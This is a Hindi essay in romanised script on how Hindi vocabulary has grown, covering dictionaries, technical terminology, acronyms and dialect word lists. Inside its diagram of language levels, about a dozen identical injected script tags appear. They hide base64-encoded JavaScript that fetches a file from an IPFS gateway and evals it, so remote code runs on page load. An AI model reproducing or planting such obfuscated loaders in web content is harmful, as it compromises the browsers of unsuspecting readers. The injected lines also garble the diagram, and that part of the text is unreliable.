हिन्दी का विकासशील स्वरूप -डॉ. कैलाशचंद्र भाटिया

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yah lekh svatantr lekhan shreni ka lekh hai. is lekh mean prayukt samagri, jaise ki tathy, aank de, vichar, chitr adi ka, sanpoorn uttaradayitv is lekh ke lekhak/lekhakoan ka hai bharatakosh ka nahian.

(shabdavali ke sandarbh mean)

lekhak- d aau. kailashachandr bhatiya

mera vishvas hai ki lagabhag doosari har chij ke banisvat bhasha kisi rashtr ke charitr ki jyada b di kasauti hai. agar bhasha shaktishali aur joradar hoti hai to usaka istemal karane vale log bhi vaise hote haian. agar vah chhichhali, lachchhedar aur peanchida hai to use bolane vali praja mean bhi vahi lakshan dekhane ko milegean - akhil bharatiy bhasha yadi koee ho sakati hai to vah sirph hindi ya hindustani, kuchh bhi kah lijie-hi ho sakati hai. -pandit javaharalal neharoo

bhasha ke vikas se tatpary

kisi bhi jivit bhasha se tatpary hai, usamean aantarnihit rachanatmak shaktiyoan ka nirantar tathaa sugrahita. apane parivesh ke prati sajag rahane se pratham labh hota hai ki jo shabd vahaan se mile use apane anukool banakar likha jaye. agar bhasha ki pravritti ke anukool n ho to us bhav ko vyakt karane ke lie shabd bana liya jae. banaee huee, gadhi huee shabdavali tab hi kam ki ho sakati hai jab vah jivant aur gatishil bhasha ke sath nirantar sanpark rahe aur prayog kasauti par apane ko parakhati kasati rahe. 18vian shatabdi ke aant me barlin akadami dvara ayojit shodh pratiyogita mean di. yenish ne joradar shabdoan mean ghoshana ki thi ki bhasha matr ek vastu nahian manav jati ki bauddhik evan naitik jivan ki abhivyakti hai. manushy ki abhilashaoan aur saanskritik pragati ke sath usamean tadnuroop parivartan hote rahe. madhury, sookshmata, shakti, spashtata evan oj se sanpann hona jivit bhasha ka anivary lakshan hai. yahi lakshan nirantar vikasashil evan prabuddh janajati ka bhi hota hai. saphal bhasha hi poorn bhasha ho sakati hai aur poorn bhasha hi saphal bhasha ban sakati hai. shabd bhandar aur vyakanik spashtata se hi ek sanbhav hai jo vastutah bhasha ki samriddhi ka dyotak hai.
         kisi bhasha ko vikasit vikasashil mana jae aur kisako nahian isake lie pro0 phargyusan ne b di gaharaee se vichar kiya hai. likhit roop me prapt jis bhasha mean (k) apasi patr vyavahar hota ho (kh) patr-patrikayean prakashit hoti hoan (g) maulik pustakoan ka lekhan kary hota ho, vah bhasha vikasit mani jayegi. is kasauti par hindi bilkul khari utarati hai. haan, unhoanne jo age ki avasthayean svikar ki haian ki

1. usamean vaijnanik sahity nirantar prakashit hota rahe tatha
   
2. any bhashaoan mean hue vaijnanik kary ka anuvad tatha sar sankshep mean prakashit hota hai.
   

us drishti se abhi vikasashil aur bhavishy mean anant sanbhavanaean nihit haian. haॅgen ne vikasit bhasha ke jo char tatv svikar kiye hai, unamean se ‘adhunikata’ par vishesh bal diya hai. ‘bhasha ki adhunikata’ se tatapary hai shabdavali mean vriddhi tatha nee shaili aur abhivyaktiyoan ka vikas. is kasauti par bhi hindi khari utarati hai.
         hindi ke suprasiddh kavi tatha vicharak sachchidanand vatsyayan ki manyata hai ki ‘bhasha kalpavriksh hai jo usase asthapoorvak maanga jata hai, bhasha vah deti hai. usase kuchh maanga hi n jae kyoanki vah pe d se lataka hua nahian dikh raha hai, to kalpavriksh bhi kuchh nahian deta’.
         20vian shatabdi ke labdhapratishth, bhashavidh bloomaphild ke anusar bhasha ki shakti athava sanpatti roopimoan aur vyakarinamoan mean (vaky pratiroopoan, sanrachanaoan aur sthanapattiyoan mean) hai. roopimoan aur vyakaranimoeean bhi sankhya bhashavishesh mean hajaroan mean pahuchati haian. yah sadharanatayah mana jata hai ki bhasha sampatti vibhinn prayukt shabdoan par nirbhar hai kiantu yah sankhya anishchit hai kyoanki roopiy sanrachanaoan ke sadrishy par shabd man chahe dhang se banate rahate haian.
         vastutah bhasha moolatah abhivyakti ki sanchana tatha shabdavali ka sanyukt roop hai jo paraspar suanguuphit hai. shabdavali ati jati, nee bani rahati hai, purane shabdoan mean navin arth bharate jate haian, jaise aj adhikram, adhivakta, abhilekh, abhyarthi, akhyapan se sarvatha navin arthoan ki abhivyanjana hoti hai. hindi ki aksharik sanrachana bhi b di sanpann hai. aksharik saanchoan mean paryapt rikt sthan hone ke karan vikas ki abhootapoorv kshamata spasht hoti hai. ‘vyanjan svar dirgh svar’ saanche mean yadi matr ‘k’ tatha ‘l’ vyanjan kramashah lie jaean to 21 sanbhav shabd ban sakate hai jinamean se 19 sthan rikt p de hue the. in rikt sthanoan mean se char sthanoan par kila, kuli shabd asani se khap gaye.
         ab tak ke pramukh bhashavidh upayukt sabhi drishhaiyoan se hindi ki abhootapoorv kshamata tatha samathry mean vishvas karate haian.

• hindi isi mitti ki boli hai aur arabi ya pharasi se adhik janamanas ke nikat hai.
  
• bharatiy bhasha mean koee bhi manaviy bhavana vyakt karane ki poorn samarthy hai aur vah uchchatam vaijnanik shiksha ke lie upayukt hai.
  
• hindi ke pas aisa shabdakosh aur abhivyakti ki aisi samarthy hai, jo aangrezi se kisi prakar kam nahian hai.
  
• yahi (hindi) ek bhasha hai jisamean do vibhinn praantoan ke log apas mean batachit kar sakate haian. yah bharat mean sarvatr samajhi jati hai, kyoanki isaka vyakaran bharat ki adhikaansh bhashaoan ke saman hai aur isaka shabdakosh sabaki sammilit sanpati hai.- griyarsan
  

         bharatiy sanvidhan mean (351) hindi ke shabd bhandar ke lie mukhyatah sanskrit se tatha gaunatah any bhashaoan se shabd kar samriddh karane ki vyavastha hai.

shabdavali sankalan ka praranbh tatha vikas

madhyakal ki namamalaoan ki paranpara ke bad pahala shabdavali sankalan ka kary padari adam ne 1829 ‘hindavi bhasha ka kosh’ shirshak se taiyar kiya, jisamean 20,000 shabd the. tadbhav tatha deshaj shabdoan ko pradhanata di gee. adam sahab pahale vyakti the, jinhoanne lok se bol chal ke shabd sangrahit kiye. adam se poorv gilakraist, karkapaitrik, viliyam hantar, sheksapiyar, raॅbak ke kosh aur bad me phailan, yet, dankar, phobrs, thॅmsan tatha jaॅn plats ke kash kary ullekhaniy haian. inamean se phailan, thaॅmasan tatha jaॅn plats ke kary mahatvapoorn haian. thaॅmasan ke sankalan mean shabdasankhya 30,000 hai, phailan ke kosh mean 1216 prishth (raॅyal aktev) haian. plaॅts ke kosh ka poora nam hai ‘e dikshanari aॅph urdoo, klasikal hindi eand iangalish’ (1874) jisaki pramukh visheshataean haian:-

1. shabdoan ki vyutpatti par prakash tatha
   
2. saman vartani ke alag alag srotoan se ae shabdoan ki alag alag pravishtiyaan
   
3. akarmak tatha sakarmak kriyaoan ka ullekh
   
4. sahityetar shabdoan ka sankalan.
   

bharatiyoan dvara banae ge koshoan mean jin do koshoan ka sankalan. bharatiyoan dvara banae ge koshoan mean jin do koshoan ka sarvadhik prachar prasar hua, ve haian shridhar bhasha kosh (sanh 1894) shridhar tripathi, lakhanoo, prishth san. 74 tatha ‘hindi shabdarth parijat’ (sanh 1914) dvarakaprasad chaturvedi, ilahabad. pahale kosh me lagabhag 25,000 shabd sankhya hai, jabaki doosare meean brajabhasha, avadhi adi vibhashaoan ke shabdoan ki paryapt sankhya rahane ke karan shabd sankhya adhik hai. anuman kiya ja sakata hai ki 20vian shatabdi ke praranbh tak shabd sankalan 50,000 tak pahuanch gaya
         adhunik kal mean baboo shyamasuandar das, ramachandr shukl, ramachandr varma ke satprayasoan se nagari pracharini sabha, varanasi se ‘hindi shabd sagar’ (1922-29) prakashit hua, jisaki yojana 32 agast 1907 ko sabha ke param hitaishi aur utsahi sadasy shriyut revareand ee. gribj ke us prastav ke anusar bani jisamean prarthana ki gee thi ki ‘hindi ke ek brihat aur sarvaangapoorn kosh banane ka bhar sabhi apane oopar lean.’ san 1910 ke aranbh mean shabd sangrah ka kary samapt hua. 10 lakh slip banaee geean jinamean se lagabhag ek lakh shabdoan ka akalan kiya gaya. yah kosh vastutah sagar tha, jo shabdoan, arthaean, muhavaroan, lakektiyoan, udaharanoan tatha uddharanoan se bharapoor arthachachhatayean denean me sarvottam mana jaega. isake bad koshakala mean dirghakalin anubhav prapt achary ramachandr varma ke prayasoan se varanasi se ‘pramanik hindi kosh’ tath hindi sahity sammelan prayag se ‘manak hindi kosh’ prishth sankhya 3966 (1962-196) prakashit hua. ‘brihath hindi kosh’ tisare sanskaran mean ek lakh a datis hajar shabd haian. is bich ‘hindi shabd sagar’ ka navin sanshodhit aur parivardhit sanskaran (1665-75) prakashit hua jisamean kul prishth sankhya 5870 hai sanyojak shri karunapati tripathi ke dinaank 18 pharavari, 1965 ke vaktavy ke anusar mool shabd sagar se isaki shabd sankhya mean dugani se adhik ki vriddhi huee hai. is prakar koshoan ke adhar par shabdavali ki sankhya do lakh hai.

paribhashik shabdavali

          prachin bharat mean hi darshan, jyotish, aryuved adi kuchh vishaya mean prachur bharatiy shabdavali upalabdh thi. 19vian shatabdi ke uttarardh mean hi vaijnanik upalabdhiyoan se sanbandhit shabdali hindi bhasha mean ane lagi thi. kashi nagari pracharini sabha, varanasi ne vaijnanik shabdavaliyoan ke roop mean sarvapratham pustakakar prakashan kiye. is disha mean daॅ. satyaprakash (vijnan parishad, ilahabad) tatha daॅ. raghuvir ke kary vishesh ullekhaniy haian.
          daॅ. raghuvir ke koshakary ki ek or atyadhik prashansa huee, doosari or atyadhik alochana. vastutah yah prashansaniy kary tha, jisako atyadhik shram se vaijnanik adhar par prastut kiya gaya. sanpoornatah sanskrit par adharit hone ke karan isaki vyavaharikata par sandeh kiya jane laga. unhoanne sarvapratham bhasha nirman mean yaantrikata tatha vaijnanikata ko sthan diya. upasarg tatha pratyayoan ke dhatuoan ke yog se lakhoan shabd sahaj hi banae ja sakate haian.
upasargen dhatvardhae baladntr niyate.
prahar-ahar-vihar-parihar vath.
          is prakriya ko kosh ki bhoomika mean samajhaya gaya hai. yadi matr do sanbhavit yog lean, to 400 aur tin lean to 8000 roop ban sakate haian, jabaki abhi tak matr 340 yogoan ka upayog kiya gaya hai, shabd nirman ki adbhut kshamata udghatit hoti hai unhoanne vistar se udaharan dekar samajhaya ki kis prakar gamh dhatu matr se 180 shabd sahaj hi ban jate haian. pragati, paragati, parigati, pratigati, anugati, adhigati, apagati, atigati, agati, avagati, upagati, udgati, sugati, sangati, nirgati, nigati, vigati, durgati, avagati, atigati, gati, gantavy, gamy, gamaniy, gamak jangam, gamyaman, gatvar, gamanika adi kuchh udaharan haian. matr ‘i’ dhatu ke sath vibhinn ek athava do upasarg jo dakar 107 shabdoan ka nirman sanbhav hai. unhoanne spasht kiya ki 520 dhatuoan ke sath 20 upasargoan tatha 80 pratyayoan ke yog se lakhoan shabdoan ka nirman kiya ja sakata hai. agar dhatuoan ki sankhya badha li jae to 1700 dhatuoan se 23800 maulik tatha 84,96,24000 shabdoan ko vyutpann kiya ja sakata hai. is prakar sanskrit mean shabd nirman ki adbhut kshamata hai jisaka abhi nam matr ka hi upayog kiya ja sakata hai. ativadi drishti se bachakar bhi lakhoan aise saral shabdoan ko prayog mean laya ja sakata hai, jo hindi ki pravritti ke anukool haian.
          aantarrashtriy star par prayog mean ane vale tatha poorv svikrit vaijnanik shabdoan ko svikar kar lena chahie. prayog ke adhar par kuchh poorn paribhashik (dhvanigram, sansvan, prakari, dashamalav), kuchh ardh paribhashik, jaise akshar, sangati, ap haian. aitihasik adhar par tatsam, tadbhav ke sath videshi shabdavali ka vishesh mahatv hai. agat shabdavali par lekhak ne vistar se vichar kiya hai - hindi mean aangreji ke agat shabdoan ka bhashatatvik adhyayan.
          svatantrata ke bad vaijnanik takaniki shabdavali ke lie shiksha mantralay ne sanh 1950 mean bord ki sthapana ki. sanh 1952 mean bord ke tatvadhan mean shabdavali nirman ka kary praranbh hua. aantatah 1960 mean keandriy hindi nideshalay ki sthapana huee. is prakar vibhinn avasaroan par taiyar shabdavali ko ‘paribhashik shabd sangrah se prakashit kiya gaya, jisaka uddeshy ek or vaijnanik tatha takaniki shabdavali ayog ke samanvay kary ke lie adhar pradan karana tha aur doosari o aantarim avadhi mean lekhakoan ko nee sankalpanaoan ke lie sarvasammat paribhashik shashd pradan karana tha. ayog dvara shabdavali nirman ke siddhaantoan ka sar is prakar hai:
1- aantarrashtriy shabdoan ko jyoan ka tyoan rakha gaya aur keval unaka lipyantaran hi kiya gaya:
(a) tatvoan tatha yogikoan ke nam, yatha- haidrojan, karban adi.
(a) bhar, map tatha bhautik parimanoan ki ikaiyaan, yatha, kailari, dain, empiyars adi.
(i) aise shabd jo vyaktiyoan ke nam par banaye gaye haian, yatha- pharenahait, empiyars tatha voltamitar.
(ee) vanaspati vijnan, jiv vijnan, bhoo vijnan adi vijnanoan mean dvipadi nam padvati hai.
(u) sthiraank.
(oo) rediyo, petrol, redar, ilektraॅn, protaॅn, nyootraॅn adi.
(e) sankhyaank pratik.
2- akhil bharatiy samanakoan ka nirman sanskrit ke adharapar kiya gaya hai.
3- kshetriy prakriti ke aise hindi shabdoan ko, jo hindi mean prachalit haian, yathavat rakh liya gaya hai. jaise jiv, choona, bijali adi shabd.
vibhinn vijnanoan, manaviki tatha samajik vijnanoan ki moolabhoot shabdavali ke nirman ka kary san 1971 mean poora kar liya gaya. tatpashchath ukt shabdavali ke samanvay tatha samekan ka kary praranbh hua. in sabhi shabd sangrahoan ki sthiti is prakar hai:
1. brihath paribhashik shabd sangrah (vijnan khand) 130000
2. brihath paribhashik shabd sangrah (manaviki khand) 80000
3. brihath paribhashik shabd sangrah (aryuvijnan) 50000
4. brihath paribhashik shabd sangrah (ianjiniyari) 50000
5. brihath paribhashik shabd sangrah (raksha) 40000
6. brihath paribhashik shabd sangrah (krishi) 17500
7. samekit prashasan shabdavali (prashasan) 8000
‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌____________
kul- 3,75,500
____________
vishleshan se jnat hua ki 70 pratishat samanak sanskrit moolak the, 20 pratishat aantarrashtriy shabdavali se lipyantarit aur 10 pratishat se kam kshetriy hindi shabd the. yah sthiti snatak stariy shabdavali ki thi, jabaki snatakotar stariy shabdavali mean, antarrashtriy shabdavali ka prayog apekshakrit bahut adhik hai.
yah vishay itana vistrit hai ki prithakh se shodh ka vishay hai, phir bhi itana kaha ja sakata hai ki is prakriya mean hindi ke vikasenmukh svaroop’ par vishesh dhyan rakhana chahie. vashaparikothit, chalatulyavayavata, vaidyutraupparanjan, vaiyutannikelaranjan, ashleshy vivakraman biandu adi shabdoan se bachana thik rahega. yahaan paribhashik shabdavali ki samasyoan par vichar karana apekshit nahian hai phir bhi ekaroopata tatha manak roopoan ke sthirikaran ki aur vishesh dhyan dena hai.

sankshipt roopoan dvara nee shabdavali

aj is bhagadau d ke yug me har adami ki yah adat banati ja rahi hai ki kam se kam samay me kam se kam shabdoan mean apane man ke bhavoan ko abhivyakt kare. is svabhavik pravritti ke phalasvaroop hi sansthaoan tatha sangathanoan ke lanbe lanbe nam sankshipt hote ha rahe haian. nee prakar ki yah shabdavali aangreji mean ‘ekronim’ se abhihit ki jati hai. pratyek kal mean aise shabd banate rahe haian. kalaantar mean jab ye shabd bahuprayukt hokar kosh ke antargat apana samuchit sthan bana lete haian, to prayah bhool jate haian ki inaka nirman is vidhi se hua hoga, jaise aangreji ‘nyooj’. hindi mean prachalit ‘badi’ tatha ‘sudi’ shabd bhi is prakriya ke phalasvaroop haian ‘su’ sudiah shu. (shukl paksh) tatha ‘b’ bahul (krishna paksh) hindi mean aankatad, saim, mido, sito, iantak, nato, yoonesko adi paryapt shabd isi koti ke haian. pichhali bar chin ke akraman ke samay nepha, mig tatha radar tin shabd kafi prachalit ho gaye. yuddh mean ‘lesar’, mig prachalit haian, prabandhashastr mean ‘prians’ ‘part’ isi prakar ke shabd haian. hindi patrakarita mean prachalit aniya, urvashi, upoosi, ianka, lod isi prakar ke shabd haian.

hindi ki vibhasha tatha boliyoan ka mahatv

boli tatha apabhasha-

kisi boli ka lokajivan se abhinn sanbandh hai. boliyoan ka hi parishkrit, samanyikrit tatha sanskrit roop bhasha hai. bhasha ko boliyoan se hi sahaj shakti prapt hoti hai. ganga ka adi srot himakhandoan se nirmit gomukh hai, usi prakar hindi ki ganga ko usaki baliyoan se sarabhoot tatha pranashakti milati hai. vyavaharik lokabhasha se shabd sangrah karana saral kary nahian. lok boli ke sthayi tatv lokagit tatha lok kahaniyoan mean samahit rahate haian. shabd roopoan ke srot tatha usake vikas ki paranpara aur sath hi arth vikas ki shrriankhala nirdharit karane mean lok jivan ka vishesh mahatv hai. boliyoan mean jab koee boli shikshit logoan ke mukhy nagar ya any shisht samajik varg ki bhasha ke pad par pratishthit ho jati hai tab vah manak bhasha kahalati hai. vibhinn bhashik staroan ka svaroop kuchh is prakar hota hai:

                                                                        ganvar shishtetar prayog   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> boligat prayog
                                                                                  ↓   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ↓
                                                                          nimnastariy vyaktiyoan dvara bolachal ki boli
                                                                                                    ↓
                                                                                      bolachal ka manak roop
                                                                                                    ↓
                                                                              sahityik gady pady mean prayukt manak roop
                                                                                                     ↓
                                                                                      ati susanskrit tatha manak roop

          vibhinn staroan ko parakar ‘apabhasha’ ya ganvaroo boli ki sahityik ya manak bhasha ka roop grahan kar leti hai. isase nishkarsh nikalata hai ki manak bhasha ko shakti sanpann banane ke lie lokabhasha hi khan ka kam karati hai. ‘shisht’ kya hai aur ‘shishtetar’ kya hai, in donoan ko paribhashit karana kathin kam hai. samanyatah shisht tatha shishtetar ke madhy sima rekha khianchana sanbhav nahian hai. ajnan ke karan yah bhi ho sakata hai ki jis prayog ko ham shisht samajh rahe haian, vah shishtetar ho. isake thik viparit jab kisi many lekhak dvara shishtetar prayog bhi sahityik kriti mean dal diye jate hai. to kalaantar mean ‘shisht’ ban jate haian. jab koee shabd ya koee prayog chal p data hai to usamean itani samathry shakti a sakati hai ki vah shisht bhasha mean prayukt hota hai aur kalaantar mean sthan bana leta hai. bad ke koshakar yadi unaki or dhyan n dean to ye shabd punah lok mean kho jate haian.
          is drishti se hindi bahu dooravyapini bhasha hai, jisaka vistar kafi b de bhoobhag mean hai. is prakar hindi ki boliyoan ki sankhya kafi b di ho jati hai. kisi ki poornaroopen matribhasha n hote hue bhi lagabhag bharat ki chalis pratishat janasankhya vyavahar mean isaka prayog karati hai. isake aantargat anek aanchaloan ki boliyaan tatha vibhashaean: braj, buandeli, kannauji, kh di boli, hariyanavi , avadhi, bagheli, chhattisagadhi, nimadi, malavi, mevati, marava di, meva di, maithili, bhojapuri, magahi, paha di-gadhavali, kumayooanni adi haian. parasparik bodhagamyata, vyakaran gathan mean samy tatha jatiyata v aitihasik shrriankhala in sabhi upabhashaoan boliyoan ko ek doosare se itani adhik jo de hue haian ki kabhi kabhi yah pahachanana ki ‘yah hamari boli nahian hai’ asanbhav ho jata hai. yahi karan hai ki ek or vidyapati ke pad to doosari or raso sahity hindi mean samahit hai. yahi manak hindi mean shakti shrot haian. is prakar manak hindi ko shabdavali dene ke lie lokaboliyoan ke kosh ki nitaant avashyakata hai. jab skatish ka bolikosh anek khandoan mean a sakata hai to itane vishal bhoobhag mean phaili aur hajaroan salo ki dirgh paranpara mean vikasit in boliyoan mean kitani vipul shabd rashi samahit hogi, isaki kalpana matr se ashchary hota hai. kuchh varshaean pahale tak matr ‘avadhi kash’ (ramajna dvivedi ‘samir’) tatha ‘brajabhasha soor kosh’ (daॅ. premanarayan tandan) do kosh the. ‘diangal kosh’ tatha ‘rajasthani sabad kosh’ (abhi adha) se bhavishy ki sanbhavanaoan par prakash p data hai kyaki matr rajasthani mean sava lakh se adhik shabd hoange. hal mean daॅ. haridev bahari ke prayasoan se avadhi aur bhojapuri shabd sanpada prakashit hue haian. uttar pradesh hindi sansthan ke tatvadhan mean anek vishvavidyalayoan ke sahayog se bhojapuri, brajabhasha tatha kumayuanni par kary pragati par hai. kurulok sansthan, merath ne kauravi kosh taiyar kar liya hai. ravishankar vishvavidyalay, rayapur mean ‘chhattisagadhi par kary prakashanadhin hai. madhy pradesh sarakar ke bhashavibhag ne buandeli par kary lagabhag poora kar liya hai. kuchh boliyoan ki shabd samarthy par kuchh upayogi kary ho chuke haian, jaise: magahi’ se daॅ. vishvanath prasad ne 542077 shabd sankalit kiye, gadhavali (daॅ. haridatt bhatt ‘shailesh’), baisava di (daॅ. devishankar dvivedi), buandeli (daॅ. chhavinath tivari tatha daॅ. hariprasad), nima di (daॅ. mina bhatt), bagheli (daॅ.ayodhyaprasad sianh), jinamean se pratham do shodhakary prakashit ho chuke haian. agar atisanyokti n samajha jae to is sanbhavana se iankar nahi kiya ja sakata ki sabhi lok bhashaoan ke kosh ane par lakhoan ki nee shabdavali upalabdh hogi jisameean se b di saralata se pachas pratishat manak bhasha mean prayukt ho rahi hogi.

krishi tatha udyog dhandhoan se sanbandhit shabdavali

is disha mean ullekhaniy kary griyarsan krit ‘bihar pijeant laiph’ se lagabhag ek shatabdi poorv san 1885 se praranbh hua jisako age badhaya daॅ. hariharaprasad gupt (bharatiy gramodyog shabdavali-1951, prakashit 1956) tatha daॅ. aanbaprasad ‘suman’ ne (krishak jivan sanbandhi brajabhasha shabdavali, 1956, prakashit do khandoan mean 1961-62) isake bad anek kary ho chuke haian prakashan ke abhav mean (kuchh hi prakashit) jinaka moolyaankan nahi kiya ja sakata. ‘krishi shabdavali’ mean hue kary haian: krishi kosh 1959 (daॅ. vishvanath prasad) ilahabad zila (shaligram sharma), koormaanchal (ramasianh), bhojapuri (nandakishor ray tatha shaligram ojha), guna zila (baboolal jain), gvaliyar zila (prabhoodayal sharma), chhattisagadh (daॅ. kaantikumar jain), dilli pradesh (dharmavir sharma), phatehapur zila (dvarika prasad varma), baliya zila (satyadev tivari), buandeli (haragoviand sianh), magahi (shivarani aur shashibala devi), malavi (sureandr kumar tenaguri), bagheli (sudhakar prasad tivari), satana zila (ramayan prasad tripathi), saharanapur zila (anand prakash sharma), sihor zila (daoodayal kulashreshth), hindi ki krishi shabdavali (ramkrishna parashar). audyogik shabdavali mean ullekhaniy kary haian, merath zila (sarij tomar), pashchimi rajasthani (oankaramal), buandeli (pavan kumar jain), muzaffaranagar zila (tilakaram sharma), muradabad zila (gapichandr sharma), rajasthani (brajamohan javaliya), ramapur zila (vachaspati sharma). avashyakata is bat ki hai ki in sabhi shabdavaliyoan ko samekit roop mean prastut kiya jae. kafi samay poorv mahapandit rahul ji ke netritv mean daॅ. prabhakar machave tatha daॅ. vidyanivas mishr ke sahayog se is prakar ka kary praranbh hua tha. telugoo mean vyavasayaparak shabdakosh ke kee khand prakashit ho chuke haian. daॅ. vidyanivas mishr ke upayogi kary ‘hindi shabd sanpada ke namoone par vistar se kam hona chahie.

hindi sahity se shabdavali

prayah kosh mean kisi bhi bhasha mean prapt likhit sahity se shabdavali le li jati hai. is prakriya ko ‘hindi shabd sagar ke pahale sanskaran mean apanaya gaya aur doosare parivardhit sanskaran mean bhi (shabdachayan 1956 tak prakashit granthoan se). abhi tak tulasi, kabir,, jayasi, mira prasad kosh hi prakashit hue haian. abhi tak ham apane sabhi vishisht kaviyoan/sahityakaroan ke sahity ki anukraminakaean prastut nahian kar sake haian, jinase shabdakoshoan ko apekshataya poorn banaya ja sake, keandriy hindi nideshalay ke prayas se jo bhi anukramanikaean taiyar hueean haian ve abhi tak prakashit nahi ho saki haian aur n soor ka shabd kosh hi. daॅ. haradev bahari tatha daॅ. rajendr kumar ne niji satprayasoan se ‘soorakoshak’ avashy prakashit hua. shabd sagar ke parivardhit sanskaran ke sanpadakiy (dinaank 18/2/1965) mean yah svikar kiya gaya hai ki adhunik hindi vanmay ke apekshakrit navyagranthoan se kam hi shabd jode़ gaye haian. ne sahity kahani, upanyas, navin vidhaean - mean paryapt sankhya mean ne kon, nee shaili naye bhav bodh ke liye naye naye shabdoan-navodbhoot, navagat, navadbhavit ka vyapak roop se prayog kiya jata hai phir kaise man liya jaye ki sabhi shabdavaliyoan ko samahit kar liya gaya hai. is prakar jivant bhasha mean nit navin bianboan, nav nav arthachitroan aur nee abhivyakti ki chhataoan ka vikas hota rahata hai, kabhi purane shabdoan mean navin arthachhataean abhivyakti ho jatian haian au kabhi naye naye shabdoan ko ayatit athava nirmit kar liya jata hai jisase bhasha sahity ko aur sahity bhasha ko paraspar samriddh karata rahata hai jisake phalasvaroop koshoan mean nirantar shabd sankhya mean vriddhi hoti rahati hai.

nishkarsh

vyapak bhoobhag mean phaili shisht v sahityik bhasha aur usaki aanchalik boliya- apabhashaoan se shabd sangrah ka kary kashtakar hote hue bhi bahut upayogi siddh hoga. vaijnanik, prodyogik-audyogik, shaikshanik, samajik adi jnan vijnan ke vikas-vistar ke sath sath jivant bhasha mean nity ne ne shabdoan ke ane ka kram bana rahata hai, vah chahe agat hoan, chahe sankar yogik nirmit. jnan vijnan ke maulik sahity sarjan ke sath ne arthabodh ke sath ne ne shabdaroopoan se arthavyanjan hota rahata hai. hindi ki shabdavali nirantar gatishil hai. bhavishy mean itani adhik sanbhavanaean haian ki any kisi vishvabhasha ko upalabdh nahian.

sanbandhit lekh

tritiy vishv hindi sammelan 1983

kramaank

lekh ka nam

lekhak

hindi aur samasik sanskriti
1.	hindi sahity aur samasik sanskriti	d aau. karn rajasheshagiri rav
